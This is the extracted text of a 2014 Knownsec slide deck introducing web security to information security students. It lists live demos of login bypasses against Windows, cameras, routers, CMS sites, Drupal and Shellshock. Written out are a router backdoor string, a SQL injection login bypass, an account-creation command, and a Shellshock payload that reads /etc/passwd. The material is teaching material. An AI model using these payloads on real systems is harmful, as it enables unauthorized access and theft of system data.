Web安全与专业学习引导.pdf

2014 信息安全专业－大学生专业学习引导专场 对话·交流·合作 知道创宇 2014 专业引导题目：Web安全实战 杨冀龙 知道创宇 对话·交流·合作 知道创宇 2014 现场演示 Windows 早期版本 系统登录绕过 net user wuda wudayinghuazhenhaokan /add 对话·交流·合作 知道创宇 2014 现场演示 摄像头绕过登录 对话·交流·合作 知道创宇 2014 现场演示 路由器绕过登录 后门魔法：xmlset_roodkcableoj28840ybtide 对话·交流·合作 知道创宇 2014 现场演示 CMS绕过登录 对话·交流·合作 知道创宇 CMS绕过登录原理 2014 漏洞原理： SELECT * FROM admin WHERE Username= .$username. AND Password= .$password. SELECT * FROM admin WHERE Username=‘ admin’ OR ‘1’=‘1’ AND Password=‘admin’ OR ‘1’=‘1’ 知道创宇 2014 现场演示 Drupal博客系统注入漏洞 获取控制权 对话·交流·合作 知道创宇 2014 现场演示 震惊2014的破壳漏洞 获得控制权 () { :; }; echo; /bin/cat /etc/passwd; 对话·交流·合作 知道创宇 涉及的词汇概念